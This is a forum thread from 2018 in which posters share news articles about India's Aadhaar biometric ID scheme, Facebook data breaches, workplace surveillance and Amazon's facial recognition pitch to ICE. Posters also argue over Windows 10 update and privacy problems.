The CEO of Microsoft has repeatedly praised the project, and local media have carried frequent reports on consultations between the Indian government and senior executives from companies like Apple and Google (in addition to South Korean-based Samsung) on how to make tech products Aadhaar-enabled. But when reporters of HuffPost and HuffPost India asked these companies in the past weeks to confirm they were integrating Aadhaar into their products, only one company ― Google ― gave a definitive response.

That’s because Aadhaar has become deeply controversial, and the subject of a major Supreme Court of India case that will decide the future of the program as early as this month. Launched nine years ago as a simple and revolutionary way to streamline access to welfare programs for India’s poor, the database has become Indians’ gateway to nearly any type of service ― from food stamps to a passport or a cell phone connection. Practical errors in the system have caused millions of poor Indians to lose out on aid. And the exponential growth of the project has sparked concerns among security researchers and academics that India is the first step toward setting up a surveillance society to rival China.

A Scheme Born In The U.S.
Tapping into Aadhaar would help big tech companies access the data and transactions of millions of users in the second most populous country on earth, explained Usha Ramanathan, a Delhi-based lawyer, legal researcher and one of Aadhaar’s most vocal critics.

The idea for India’s national biometric identification team wasn’t unprecedented, and in fact, it has strong parallels with a system proposed for the United States. Following the Sept. 11, 2001, attacks, the CEO of Oracle, Larry Ellison, offered to build the U.S. government software for a national identification system that would include a centralized computer database of all U.S. citizens. The program never got off the ground amid objections from privacy and civil liberties advocates, but India’s own Ellison figure, Nandan Nilekani, had a similar idea. The billionaire founder of IT consulting giant Infosys, Nilekani conceptualized Aadhaar as a way to eliminate waste and corruption in India’s social welfare programs. He lobbied the government to bring in Aadhaar, and went on to run the project under the administration of Manmohan Singh. Nilekani gained even more influence under current Prime Minister Narendra Modi, who moved to make Aadhaar necessary for almost any kind of business in India.

The first 12-digit Aadhaar ID was issued in 2010. Today, over a billion people (around 89 percent of India’s population) have been included in the system ― from India’s unimaginably wealthy billionaires to the homeless, from residents of the country’s sprawling cities to remote inaccessible villages. While initially a voluntary program, the database is now linked to just about all government programs. You need an Aadhaar ID to get a passport issued or renewed. Aadhaar was made mandatory for operating a bank account, using a cell phone or investing in mutual funds, only for the proposals to be rolled back pending the Supreme Court verdict on the constitutionality of the project.

As Aadhaar identification became integrated into other systems like banking, cell phones and government programs, tech companies can use the program to cross-reference their datasets against other databases and assemble a far more detailed and intrusive picture of Indians’ lives. That would allow them, for example, to better target products or advertising to the vast Indian population. “You can take a unique identifying number and use it to find data in different sectors,” explained Pam Dixon, executive director of the World Privacy Forum, an American public interest research group. “That number can be cross-walked across all the different parts of their life.”

Microsoft, which uses Aadhaar in a new version of Skype to verify users, declined to talk about its work integrating products with the Aadhaar database. But Bill Gates, Microsoft’s founder, has publicly endorsed Aadhaar and his foundation is funding a World Bank program to bring Aadhaar-like ID programs to other countries. Gates has also argued that ID verification schemes like Aadhaar in itself don’t pose privacy issues. Microsoft CEO Satya Nadella has repeatedly praised Aadhaar in both his recent book and a tour across India.

Amazon did not respond to a request for comment, but according to a BuzzFeed report, the company told Indian customers not uploading a copy of Aadhaar “might result in a delay in the resolution or no resolution” of cases where packages were missing.

Facebook, too, failed to respond to repeated requests for comment, though the platform’s prompts for users to log in with the same name as their Aadhaar card prompted suspicions from users that it wanted everyone to use their Aadhaar-verified names and spellings so they could later build in Aadhaar functionality with minimal problems.

A spokesman for Google, which has its own payments platform in India called Tez, told HuffPost that the company has not integrated any of its products with Aadhaar. But there was outrage earlier in August when the Aadhaar helpline was added to Android phones without informing users. Google claimed in a statement to the Economic Times this happened “inadvertently”

Privacy Jeopardized For Millions
But the same features that are set to make tech companies millions are are also the ones that threaten the privacy and security of millions of Indians.

“As long as [the data] is being shared with so many people and services and companies, without knowing who has what data, it will always be an issue,” said Srinivas Kodali, an independent security researcher. “They can’t protect it until they encrypt it and stop sharing data.”

One government website allowed users to search and geolocate homes on the basis of caste and religion ― sparking fears of ethnic and religious violence in a country where lynchings, beatings and mob violence are commonplace. Another website broadcast the names, phone numbers and medical purchases — like generic Viagra and HIV medication — of anyone who buys medicines from government stores. In another leak, a Google search for phone numbers of farmers in Andhra Pradesh would reveal their Aadhaar numbers, address, fathers’ names and bank account numbers.

The leaks are aggravated by “a Star Trek-type obsession” with data dashboards, said Sunil Abraham, executive director of the Center for Internet and Society. Many government departments each created an online data dashboard with detailed personal records on individuals, he explained. The massive centralization of personal data, he said, created a huge security risk as these dashboards were accessible to any government official and in many cases, were even left open to the public.

Authentication failures have led to deaths among the poorest sections of Indian society when people were denied government food rations.

And much like the tech companies, some local governments are using the system to connect data sets and build expansive surveillance. In the state of Andhra Pradesh in India, there’s a war room next to the state chief minister’s office, where a wall of screens shows details from databases that collect information from every department. There are security cameras and dashboards that track every mention of the chief minister on the news. There’s a separate team watching what’s being said about him on social media and there are also dashboards that collect information from IoT [Internet of Things] sensors across the state. 

Court Ruling Could Halt Rollout
Those issues around privacy are why the dreams of government bureaucrats and large tech companies to build a perfect surveillance apparatus around Aadhaar may ultimately fall apart. The Supreme Court of India is set to decide on a case that could decide the future of the program. 

The court is set to review 27 petitions, including whether requiring an Aadhaar for government subsidies and benefits makes access to these programs conditional, even though the state is constitutionally bound to deliver them. The petitioners include lawyers, academics and a 92-year-old retired judge whose petition also secured the right to privacy as a fundamental right in August 2017. Petitioners also argue that the ability for Aadhaar to be used to track and profile people is unconstitutional.

In its judgment, due any day now, the court will rule on all 27 petitions together. It will decide not only the fate of the Aadhaar Act of 2016, but likely the future involvement of some of tech’s biggest companies in one of the world’s most ambitious and divisive IT projects.

https://www.huffingtonpost.com/entry/india-aadhuar-tech-companies_us_5b7ebc53e4b0729515109fd0

Title: Re: they know what you are doing
Post by: fansongecho on August 25, 2018, 10:56:24 pm

I heard an excellent quote the other day on one of the YT channels - cant recall which one, but it was something to the effect .. "we live in an electronic gulag"

seems about right to me  :( :(
Title: Re: they know what you are doing
Post by: zorgon on August 26, 2018, 04:01:30 am
I heard an excellent quote the other day on one of the YT channels - cant recall which one, but it was something to the effect .. "we live in an electronic gulag"

Pretty much true...

Microsoft was sold by Bill Gates... now in the hands of Satya Narayana Nadella from India.
Satya Narayana Nadella (born 19 August 1967) is an Indian American business executive. He is the Chief Executive Officer (CEO) of Microsoft, succeeding Steve Ballmer in 2014.

Windows 10 is a nasty spy program that automatically updates against your will and changes your settings and even deletes programs...  I found a fix that requires regedit but it works.   But a few weeks ago Cortana took over ny computer... I was shut out for 6 hours. When I got back in there was the Cortana screen over riding everything.... I had to use an earlier restore point and since then Win 10 no longer gets in.  Cortana and Windows collects a TON of data on you and can listen in if you have microphone and camera.  Stores it at Microsoft  You supposedly can go in and erase it and block it. Tried that... they said I need to wait 30 days before I can access it "for security reasons"

Microsoft techs online take the attitude that they are doing YOU a favor protecting you from yourself.  They are all from India.  Since India still has the caste system, you are dealing with a group mind...... So they were no help stopping the updates. I found a geek site that gave me the registration codes to change.  LOL I posted that solution in the Microsoft forum  Many people said thanks... techs were pissed off

Most tech support on the phone and customer service redirects to someone in India that barely speaks English and goes by the book with pat answers. They are told to pass you on if you get angry. They say "I will inform the other dept of your problem"  you hear some typing, then they forward you... only to have to explain it all to the next one again.  They do this hoping you give up. 

Don't give up... become a pain in their butt and they will eventually give you to a supervisor who will fix it to get rid of you
Title: Re: they know what you are doing
Post by: ArMaP on August 26, 2018, 04:15:00 am
Windows 10 is a nasty spy program that automatically updates against your will and changes your settings and even deletes programs...
It's only a spy program if you let it, like most other programs today. Smartphones are worse, and people don't complain that much.
And no, it does not delete programs in its normal working, only when something foes wrong. I have more than 1000 items on my start menu and I never lost one.

Quote
But a few weeks ago Cortana took over ny computer... I was shut out for 6 hours.
I have Cortana disabled, so no problems with for me. :)
Title: Re: they know what you are doing
Post by: Sgt.Rocknroll on August 26, 2018, 05:08:36 am
I know I really shouldn't say this, but here goes. I've never had a problem with Windows 10....Now damnit, I'll wait for it to crash. :o
Title: Re: they know what you are doing
Post by: ArMaP on August 26, 2018, 05:40:04 am
I know I really shouldn't say this, but here goes. I've never had a problem with Windows 10....Now damnit, I'll wait for it to crash. :o
Neither have I, and I installed it two days after it was made available.
Title: Re: they know what you are doing
Post by: zorgon on August 26, 2018, 07:19:07 pm
And no, it does not delete programs in its normal working, only when something foes wrong. I have more than 1000 items on my start menu and I never lost one.
I have Cortana disabled, so no problems with for me. :)

Are you using Windows 10 Pro or home version?

And yes it delted my game program and Cortana reactivated itself with the last update that just strated in the middle of my work with no warning. Go online and see all the other people reporting same problem with the HOME EDITION

I cannot currently afford the $99.00 for the Pro version or I would switch.  Everyone that runs the home version that I know is having the same issues  and geek tech forums are giving solutions  So if there wasn't a problem, they wouldn't need to fi it now would they?

 ::)
Title: Re: they know what you are doing
Post by: zorgon on August 26, 2018, 07:21:09 pm
I know I really shouldn't say this, but here goes. I've never had a problem with Windows 10....Now damnit, I'll wait for it to crash. :o

We already covered this YOU have the PRO version  you told us that...  some of us can't afford to buy that.

The problem is with the HOME EDITION  the free one  Microsoft on their own forum admits there is no way to turn off updates (barring the geek solutions that they won't volunteer for you)

Title: Re: they know what you are doing
Post by: zorgon on August 26, 2018, 07:29:12 pm
Neither have I, and I installed it two days after it was made available.

Well I am happy for you and Sgt.  :P  Unfortunately its not the same for everyone.

If you step outside the forum for a minute :P  you would see THIS

May 10, 2017, 08:40pm
All New Windows 10 Has A Serious, Unfixable Problem


Quote
Microsoft has an all new version of Windows 10, confusingly called ‘Windows 10 S’ which promises to be a faster, cheaper and more secure version of Windows 10. But Microsoft has now confirmed not only does Windows 10S have a serious problem, it is one that cannot be fixed…

The problem stems from Microsoft’s decision to only allow software installation on Windows 10S if it comes via the official Windows Store. Right now the Store is a wasteland and avoided by both Apple and Google among many others. But it’s about to get worse.

Whereas many thought the solution would simply right itself as customer pressure pushed companies to publish through the Windows Store, it turns out there’s a bigger issue and one that hits web browsers in particular because Windows Store policy states:


“Apps that browse the web must use the appropriate HTML and JavaScript engines provided by the Windows Platform.”

This is not the language Chrome is written in (nor Opera) so in order for Google to make the world’s most popular web browser available on Windows 10S it wouldn’t just have to repackage and list it in the Windows Store, it would have to completely rewrite the core code of the browser. Even then Windows 10S does not allow users to change the default browser from Microsoft Edge and the search engine from Bing.

https://www.forbes.com/sites/gordonkelly/2017/05/10/microsoft-new-windows-10-chrome-browser-problem/#1b85840c4b80
Title: Re: they know what you are doing
Post by: zorgon on August 26, 2018, 07:32:27 pm
So  I am really happy that you two have no issues... I really am

but in the REAL WORLD :P

Windows 10 Networking Issues after Windows 10 Update

Quote
Modified on: Wed, Jul 18, 2018 at 11:21 AM

The Windows 10 April 2018 update to version 1803 has caused problems with the Windows File and Printer sharing and may have caused some PCs to enter a boot loop or boot to a black screen.  Other issues have been reported, with most of these have been resolved.  The Windows File and Printer sharing are currently ongoing.

Check to make sure that the Password Protected Sharing is turned off on the server machine.
Check to make sure that these two services are running :  Function Discovery Provider Host  &  Function Discovery Resource Publication
Check that the IPV6 protocol is turned off on the server machine, I've had that fix multiple clients issues with networking.
 If after checking all 3 of those sections, you may then turn them over to a computer tech, as anything more would be out of scope for us.
 This update is causing problems with workgroup networking.

Unshare SalonTouch on the server.
Right click on the folder and click Properties.
Click the Sharing tab.
Click Advanced Sharing...
Uncheck the Share this folder.
Click OK.
Click OK.
Reshare the SalonTouch folder on the server.
Propagate changes to all child objects.
On the workstation, use the path to SalonTouch on the server PC (\\MainPCname) Etc.
Enter the Username & Password to the server PC and check off the Remember me.
The Username will be in [COMPUTERNAME]\[USERNAME] format.

ComputerWorld: Microsoft unexpectedly starts pushing Win10 version 1803 through Windows Update

ComputerWorld: Win10 1803 bugs roll in: Chrome freezes, Skype burps, Alienware craters and… hey, Cortana?

Answer.Microsoft.com: This was from a Microsoft MVP on their support site.  The solutions here may not work, but it can rule out some of the other problems: https://answers.microsoft.com/en-us/windows/forum/windows_10-networking/windows-10-ver-1803-network-file-sharing-is-not/790b15a2-b86d-4e92-9f11-0e86248a65aa

At this time Microsoft has not released any updates or statements on the update.  Our support technicians are not able to resolve this issue as it is a Windows level issue.  Our support technicians can still contact the salon and determine root cause of the problem, but if the issue is caused by an update to version 1803 we will not be able to resolve it.

If your business cannot wait for an update from Microsoft, you can attempt a system restore to a point before the April update.  This may take several hours depending on the age of the restore point and the number of changes occurring.

WARNING: If the PC loses power during the system restore, the Windows operating system may become damaged.  You may want to consult your computer technician before performing a system restore.

Microsoft has information on performing a system restore located on their website: https://support.microsoft.com/en-us/help/12415/windows-10-recovery-options

Windows Users can defer updates in Windows 10 for a certain period of time:  Microsoft has information on how to defer the updates here: https://support.microsoft.com/en-us/help/4026834/windows-10-defer-upgrades. Windows Professional users can pause the Windows updates for a set duration: https://support.microsoft.com/en-us/help/4028233/windows-10-schedule-a-restart-or-pause-updates.


http://help.salontouch.com/support/solutions/articles/14000086586-windows-10-networking-issues-after-windows-10-update
Title: Re: they know what you are doing
Post by: ArMaP on August 27, 2018, 12:11:45 pm
Are you using Windows 10 Pro or home version?
Pro at home, Home in 3 computers at work.

Quote
And yes it delted my game program and Cortana reactivated itself with the last update that just strated in the middle of my work with no warning. Go online and see all the other people reporting same problem with the HOME EDITION
The fact that your game was apparently deleted (I doubt that specific program was targeted for deletion, as an update doesn't delete any programs, at most it moves them to a new folder) doesn't mean that Windows "even deletes programs", as if that was a feature created on purpose.

Cortana reactivated itself because the last update was a major update, the same as an upgrade, so it performs a full upgrade of the previous version, reinstalling all the Windows programs and components and, in some cases, asking again for us to accept the licence agreements.

Quote
I cannot currently afford the $99.00 for the Pro version or I would switch.  Everyone that runs the home version that I know is having the same issues  and geek tech forums are giving solutions  So if there wasn't a problem, they wouldn't need to fi it now would they?
True, but the fact that there is a problem doesn't mean that it was made to act that way or that it happens to most people, as I said before, at work we have 3 computers with Windows 10 Home and we had no problems.

When upgrading an operating system there's always the possibility of something going wrong, unless the hardware and software allowed to be installed is tightly controlled by the OS maker.

Edited to add that we have some 20 or 25 clients that had Windows 7 on their computers and upgraded to Windows 10 without any problems. One asked us to revert back to Windows 7 because the computer was too old for Windows 10.
Title: Re: they know what you are doing
Post by: ArMaP on August 27, 2018, 12:13:40 pm
The problem is with the HOME EDITION  the free one
The upgrade from Windows 7 or 8 was free for both Home and Pro, that's why I have the Pro version on my home computer, as I had the Pro version of Windows 8.1 (upgraded from 8, upgraded from 7, upgraded from Vista)
Title: Re: they know what you are doing
Post by: ArMaP on August 27, 2018, 12:33:05 pm
May 10, 2017, 08:40pm
All New Windows 10 Has A Serious, Unfixable Problem
Windows 10S was a niche version of Windows, made for a specific market.

Quote
“Apps that browse the web must use the appropriate HTML and JavaScript engines provided by the Windows Platform.”

This is not the language Chrome is written in (nor Opera) so in order for Google to make the world’s most popular web browser available on Windows 10S it wouldn’t just have to repackage and list it in the Windows Store, it would have to completely rewrite the core code of the browser.
Who wrote that is either someone that doesn't know how things work or wrote it like that on purpose.

Chrome and Opera (or any other browser, including the ones from Microsoft) are not written in HTML and JavaScript, and the language in which they are written on is irrelevant, as what that quote from Microsoft means is that the apps that browse the web must use the HTML and Javascript engines provided by the OS instead of the their own engines.
Title: Re: they know what you are doing
Post by: The Seeker on August 27, 2018, 03:41:10 pm
Armap, what the windows update has done in my case is to move every piece of data and secondary program I had installed to a folder labelled olduser_001; so when it booted back up it was if I had never used it before, for there was nothing in the system besides windows 10 programs and apps; cortana was active once more, Edge was the only browser available, and all my shit was in limbo; literally all of it...

Filezilla, Seamonkey, Komposer, Roundcube web mail, Gmail, My Tor browser, Firefox, Google Hangouts, every app I had installed went poof!!!

Thanks to Zorgon and a couple of computer geeks I finally found it all and got it re-installed after about 6 hours worth of crap

windows sucks terrapin toenails  8)

Title: Re: they know what you are doing
Post by: ArMaP on August 28, 2018, 02:16:25 pm
Armap, what the windows update has done in my case is to move every piece of data and secondary program I had installed to a folder labelled olduser_001; so when it booted back up it was if I had never used it before, for there was nothing in the system besides windows 10 programs and apps; cortana was active once more, Edge was the only browser available, and all my shit was in limbo; literally all of it...
That was an incomplete upgrade, it moved the existing programs to that folder but, for some reason, wasn't able to recreate the original situation.

PS: are you sure that was the name of the folder?
Title: Re: they know what you are doing
Post by: The Seeker on August 28, 2018, 03:56:32 pm
That was an incomplete upgrade, it moved the existing programs to that folder but, for some reason, wasn't able to recreate the original situation.

PS: are you sure that was the name of the folder?
Beats me ArMap  :P that was a few months back and I really don't remember what the name was  ::)
Title: Re: they know what you are doing
Post by: space otter on September 05, 2018, 08:47:22 am

i have requested permission to copy the article to here from Tom Dispatch
 but have not heard back yet ..
 go to the link to read if you don't want to wait
very interesting and informative



This article originally appeared at TomDispatch.co


https://www.huffingtonpost.com/entry/a-private-investigator-on-living-in-a-surveillance_us_5b857657e4b0f023e4a60438

A Private Investigator On Living In A Surveillance Culture
Is there any privacy left, let alone a right to privacy?

08/28/2018 12:55 pm ET
By Judith Coburn

Title: Re: they know what you are doing
Post by: space otter on September 26, 2018, 08:17:21 am
continuing
« Reply #880 on: August 25, 2018, 04:30:37 PM »



https://www.bbc.com/news/world-asia-india-44777787

Aadhaar: India top court upholds world's largest biometric scheme
4 hours ago

Quote
India's Supreme Court has ruled that the country's controversial biometric identity scheme is constitutional and does not violate the right to privacy.

However the court limited the scope of the Aadhaar scheme, saying it could not be compulsory for bank accounts, mobile connections or school admissions.

The world's largest biometric ID database covers welfare and tax payments and access to social services.

More than a billion Indians have already been enrolled.

Many don't have other forms of identification - only 65 million own a passport and 200 million have a driving licence.

Those who enrolled in Aadhaar received a unique 12-digit identification number after submitting their fingerprints and retina scans. About 30 petitioners went to court to argue that the scheme infringed Indians' privacy.

What did the judges say?
"Aadhaar gives dignity to the marginalised. Dignity to the marginalised outweighs privacy," said the five-judge bench, comprising all the sitting judges in the Supreme Court.

"One can't throw the baby out with the bathwater."

Therefore, they said that people would still need their Aadhaar numbers to access government welfare schemes and to pay taxes.

However, the court said that private entities including mobile phone operators and banks would no longer have the authority to demand customers' Aadhaar numbers and instructed the government to "bring out a robust data protection law urgently".

It also said that schools could not insist on children's Aadhaar numbers to enrol students, further adding that no child could be denied state welfare benefits for the want of an Aadhaar number.

The judgement was not unanimous.

Two judges of the five-judge bench said that they disagreed with several aspects of the judgement, including the manner in which its legality had been determined in parliament.

Cautious optimism on every side
Nitin Srivastava, BBC News Delhi

Anticipating a landmark ruling, large media crews and activists had been stationed inside the sprawling lawns of the Supreme Court since nine in the morning.

Opinions about Aadhaar have always been divided, but when the judgement finally came, everyone was suddenly cautiously happy.

"I wanted privacy while buying a mobile phone connection and am delighted the court has ruled in my favour," Tehseen Poonawala, one of the activists who has challenged Aadhaar, said.

On the other side of the divide, one supporter of the scheme told me that he was glad that Aadhaar had been declared constitutional because "the rich and poor are both benefitting from it".

What has the reaction been?
Largely mixed.

India's finance minister Arun Jaitley has welcomed the verdict, calling it "historic".

Some activists said they were disappointed with the "safe" stand taken by the Supreme Court, although they welcomed the dissenting opinion by Judge D Chandrachud.

several tweets

The Congress party, which introduced the scheme before it lost power to the current BJP government, welcomed the court decision to prevent private companies from accessing peoples' Aadhaar numbers.

more tweets

In fact, that was the most relevant part of the judgement for most Indians - many of whom had expressed unwillingness to link their mobile phone connections to the scheme

more tweets

Others said that the judgement appeared to be "measured" and "well-balanced".

and more tweets

Title: Re: they know what you are doing
Post by: space otter on September 28, 2018, 01:20:51 pm


Facebook Admits To New Security Breach, 50 Million People At Risk
The company said hackers targeted the social network’s “view as” feature.

09/28/2018 01:02 pm ET Updated 1 hour ago
Rutgers
Munsif Vengattil, Arjun Panchadar and Paresh Dave



Quote
Sept 28 (Reuters) - Facebook Inc said on Friday that hackers had discovered a security flaw that allowed them to take over up to 50 million user accounts, a major breach that adds to a bruising year for the company’s reputation.

Facebook, which has more than 2 billion monthly active users, said it has been unable to determine yet whether the attackers misused any of the affected accounts or stole private information.

Facebook made headlines earlier this year after the data of 87 million users was improperly accessed by Cambridge Analytica, a political consultancy. The disclosure has prompted government inquiries into the company’s privacy practices across the world, and fueled a ”#deleteFacebook” movement among consumers.

Shares in Facebook fell more than 3 percent in afternoon trading, weighing on major Wall Street stock indexes.

The latest vulnerability had existed since July 2017, but Facebook did not discover it until this month when it spotted an unusual increase in use of its “view as” feature.

“View as” allows users to see what their own profile looks like to someone else. The flaw inadvertently issued users of the tool a digital code, similar to browser cookie, that could be used to post from and browse Facebook as if they were someone else.

The company said it fixed the issue on Thursday. It also notified the U.S. Federal Bureau of Investigation, Department of Homeland Security and Irish data protection authority about the breach.

Facebook reset the digital keys of the 50 million affected accounts, and as a precaution reset those keys for another 40 million that have been looked up through the “view as” option over the last year.

About 90 million people will have to log back into Facebook or any of their apps that use a Facebook login, the company said.

Facebook is also temporarily disabling “view as,” it said.

In 2013, Facebook disclosed a software flaw that exposed 6 million users’ phone numbers and email addresses to unauthorized viewers for a year, while a technical glitch in 2008 revealed confidential birth-dates on 80 million Facebook users’ profiles.



(Reporting by Munsif Vengattil and Arjun Panchadar in Bengaluru, Paresh Dave in San Francisco; Editing by Sai Sachin Ravikumar and Meredith Mazzilli)
https://www.huffingtonpost.com/entry/facebook-hack-security-breach-view-as_us_5bae5cf3e4b0425e3c23506c
Title: Re: they know what you are doing
Post by: space otter on October 13, 2018, 07:39:02 am


sure sounds like somebody is out for farcebook big time.. wonder what they want to replace it with?
 >:(


https://www.bbc.com/news/technology-45845431
Dave Lee
North America technology reporter
12 October 2018



Facebook hack victims will not get ID theft protection

Quote
Facebook has said it will not provide identity fraud protection for the victims of its latest data breach.

On Friday it revealed 14 million users had highly personal information stolen by hackers.

It included search history, location data and information about relationships, religion and more.

However, unlike other major hacks involving big companies, Facebook said it had no plans to provide protection services for concerned users.

One analyst told the BBC the decision was "unconscionable".

"This kind of information could help thieves create social engineering-based theft programmes, preying on the Facebook hack victims," said Patrick Moorhead, from Moor Insights and Strategy.

Users can visit this link to find out if they have been directly affected
https://www.facebook.com/help/securitynotice?ref=sected.

Protection
For the most severely impacted users - a group of around 14 million, Facebook said - the stolen data included "username, gender, locale/language, relationship status, religion, hometown, self-reported current city, birthdate, device types used to access Facebook, education, work, the last 10 places they checked into or were tagged in, website, people or pages they follow, and the 15 most recent searches".

Typically, companies affected by large data breaches - such as Target, in 2013 - provide access to credit protection agencies and other methods to lower the risk of identity theft. Other hacked companies, such as on the Playstation Network, and credit monitoring agency Equifax, offered similar solutions.

A Facebook spokeswoman told the BBC it would not be taking this step "at this time". Users would instead be directed to the website's help section.

"The resources we are pointing people toward are based on the actual types of data accessed - including the steps they can take to help protect themselves from suspicious emails, text messages, or calls," the spokeswoman said.

She would not say if the help pages in question had been updated since the company discovered the recent breach.

Breaking into accounts
News of the hack emerged on 5 October when Facebook said it feared 50m users had been affected. On Friday, the company revised downwards its estimate to "about 30m".

"We have not ruled out the possibility of smaller-scale attacks, which we're continuing to investigate," Facebook's head of product management, Guy Rosen, wrote in a blog post.

The stolen data could be highly valuable for hackers, said Joseph Lorenzo Hall, chief technologist at the Center for Democracy and Technology.

"What I'm worried about is about being able to break into other accounts," he said.

"If you look at the list of data, it's not financial data. But there is stuff in there that's useful for 'knowledge-based authentication', which is definitely important for setting up accounts."

He said Facebook should perhaps offer free premium access to password managers and other similar software.

In Europe, the hack means Facebook faces a potential fine of up to $1.63bn (£1.25bn), approximately 4% of its annual global revenue. The breach is being seen as the first major test of the new General Data Protection Regulation (GDPR) which came into force in May.

"Today's update from Facebook is significant now that it is confirmed that the data of millions of users was taken by the perpetrators of the attack," the Irish Data Protection Commission wrote on Twitter.

"[The] investigation into the breach and Facebook's compliance with its obligations under GDPR continues."
Title: Re: they know what you are doing
Post by: ArMaP on October 13, 2018, 11:43:42 am
In Europe, the hack means Facebook faces a potential fine of up to $1.63bn (£1.25bn), approximately 4% of its annual global revenue. The breach is being seen as the first major test of the new General Data Protection Regulation (GDPR) which came into force in May.
That's what I was thinking while I was reading the article.
Title: Re: they know what you are doing
Post by: space otter on October 22, 2018, 08:04:53 pm


i can't tell you how happy i am to be old and retired


https://www.msn.com/en-us/money/careersandeducation/the-employer-surveillance-state/ar-BBOph5p?li=BBnbfcN
(https://img.s-msn.com/tenant/amp/entityid/BBiv2lS.img?h=40&w=138&m=6&q=60&o=f&l=f&f=png)

The employer surveillance state
Ellen Ruppel Shell  1 day ago

Quote
The more bosses try to keep track of their workers, the more precious time employees waste trying to evade them.

Jason Edward Harrington spent six years working the luggage-screening checkpoint at O’Hare International Airport in Chicago. A college graduate and freelance writer, he initially took the job as a stopgap, but found that he enjoyed meeting passengers from all over the world, some of whom showed a real interest in him. While working for TSA, though, Harrington noticed his bosses following and video-recording his every move, a practice they said was at least in part for his protection: If, perchance, a traveler’s iPad went missing, the videotapes would prove that Harrington was not to blame. Harrington was on board with that. His problem, he told me, was that supervisors would also view the tapes to search for the slightest infraction—anything from gum-chewing to unauthorized trips to the bathroom. Eventually, these intrusions led him to quit. “If they trusted us, respected us, you could really enjoy the job,” Harrington told me. “But they didn’t.”

A TSA spokesman, Michael McCarthy, acknowledged the agency’s use of surveillance, though he attributed the “fairly rapid” turnover rate of TSA baggage screeners to other factors, in particular, to “low pay and high stress.” In fact, electronic surveillance of employees, through technologies including not just video cameras but also monitoring software, has grown rapidly across all industries.
 Randolph Lewis, a professor of American Studies at the University of Texas at Austin and the author of Under Surveillance, Being Watched in Modern America, pointed to software that makes it possible for employers to monitor employee facial expressions and tone of voice to gauge their emotional states, such as rage or frustration. Among more conventional surveillance methods, employers can track employees’ website visits, and keep tabs on their employees’ keystrokes.
 
Employers can also monitor employees’ personal blogs, and read their social-networking profiles. In one case in California, a sales executive at a money-transfer firm sued her employer, claiming she had been fired for disabling an app that used employer-issued cell phones to track workers via GPS, even when they were off the clock. (The suit was later settled out of court.)
The proliferation of surveillance is due, at least in part, to the rising sophistication and declining cost of spy technology: Employers monitor workers because they can. Michel Anteby, a Boston University sociologist and business scholar who has watched how monitoring impacts employees at the TSA and other workplaces, has also noticed that the more employees are surveyed, the harder they try to avoid being watched, and the harder management tries to watch them. “Most TSA workers we observed do everything possible to stay under the radar, to essentially disappear,” he said. “They try to never speak up, never stick out, do nothing that might get noticed by management,” he said. “This leads to a vicious cycle, whereby management grows more suspicious and feels justified in ratcheting up the surveillance.”

Perhaps the most common argument for surveillance—one often deployed by firms that make employee-monitoring products—is that it can make workers more productive. Purveyors of monitoring software claim they can help managers reduce the number of wasted hours and ensure that employees make better use of their time.

A Boston-based technology company called Humanyze applies what it calls “moneyball for business.” The term “moneyball” originated in Michael Lewis’s best-seller about the Oakland Athletics baseball team and its general manager, Billy Beane, who used statistics to assemble a team of particularly gifted ball players. Humanyze gathers data by fitting employee ID badges with a microphone, location sensors, and an accelerometer, to tease out patterns of employee behavior that affect a company’s performance. At one office, Humanyze’s data suggested that more frequent employee interactions improve productivity, so the employer installed larger, more central coffee stations to encourage those interactions.

In his essay “In Praise of Electronically Monitoring Employees,” the MIT researcher Andrew McAfee describes a study of surveillance he conducted in collaboration with colleagues at Washington University in St. Louis and Brigham Young University. Using theft-detection software, the researchers monitored waitstaff (with their knowledge), at 392 casual-dining restaurants in the United States. The installation of the software correlated with a reduction in employee theft by less than $25 a week for each location—not a whole lot. What was significant was that revenue grew by $2,975 a week per location—nearly $1,000 from drink orders alone. Employee’s tips also grew, and this, McAfee writes, suggests a “win-win.” He speculates: “As far as we can tell, performance improved simply because people started doing their jobs better.” Perhaps once the “bad actors” understood they were being watched, they realized their best bet for making more money was to improve their service in hopes of garnering larger tips, McAfee speculates—and that good behavior caught on among other employees, too.

The proposition that job performance improves when employees are monitored, and thereby theoretically deprived of the opportunity to steal, is not a hopeful one. An equally plausible explanation for the growth in revenue at the restaurants McAfee observed is that installing spy software was part of a larger commitment on the part of management to organize and streamline operations. Anteby notes, “It’s possible that almost any change—even changing the lighting—would have prompted a similar increase in productivity.” It’s also possible that surveilled employees felt pressured to push customers to order more—a practice that is not necessarily good for business in the long run, as few of us enjoy feeling pressured to over-consume.

In general, studies of surveillance suggest that it can increase workplace stress, promote worker alienation, lower job satisfaction, and convey the perception that the quantity of work one generates is more important than its quality.In an analysis aptly titled “Watching Me Watching You,” the British anthropologists Michael Fischer and Sally Applin conclude that workplace surveillance creates “a culture where ... people more often alter their behavior to suit machines and work with them, rather than the other way around,” and that this tends to erode their sense of “agency.” That is, the constant surveillance of employees diminishes their capacity to operate as independent thinkers and actors.

Worse yet, somestudies suggest that workers who sense they are monitored have lower self-esteem and are actually less productive. In fact, Anteby told me, those of us who do “cheat” on the job often do so in retaliation for the very lack of trust surveillance implies: For example, some TSA employees he observed wasted countless hours finding clever ways to evade the surveillance camera’s roving eye. So while surveillance can be of benefit under some conditions, it’s unclear precisely what those conditions might be—or whether there are limits.
Title: Re: they know what you are doing
Post by: ArMaP on October 23, 2018, 06:01:13 am
In Portugal, it's illegal to have cameras pointing to the workers showing them during their normal work, and even for common security cameras a special license is needed.
Title: Re: they know what you are doing
Post by: space otter on October 23, 2018, 08:06:56 pm
https://www.huffingtonpost.com/entry/amazon-ice-facial-recognition-rekognition-software_us_5bcf5d73e4b055bc9485733f


Amazon Pitched Its Controversial Facial Recognition Tech To ICE, Emails Show
ICE said it doesn’t have a contract with Amazon for “Rekognition,” but it has used similar software in the past.

By Ryan Grenoble
10/23/2018 04:29 pm ET

Quote
Amazon pushed Immigration and Customs Enforcement officials in June to purchase and use its controversial facial recognition technology, according to Amazon Web Services emails obtained by a government watchdog.

Documents turned over in a Freedom of Information Act request by the Project On Government Oversight show Amazon’s technology subsidiary offered up its real-time “Rekognition” video analytics software to aid ICE’s Homeland Security Investigations.

Amazon touts the technology on its website as capable of providing “real-time face recognition across tens of millions of faces, and detection of up to 100 faces in challenging crowded photos.”

Amazon Web Services and Department of Homeland Security officials also met in mid-June at the Redwood, Calif., offices of McKinsey and Company, a consulting firm that formerly worked with ICE.

It’s unclear how, exactly, Amazon proposed the technology be implemented. The email from Amazon Web Services only vaguely refers to “a big HSI problem.” Amazon did not immediately respond to a request for comment.

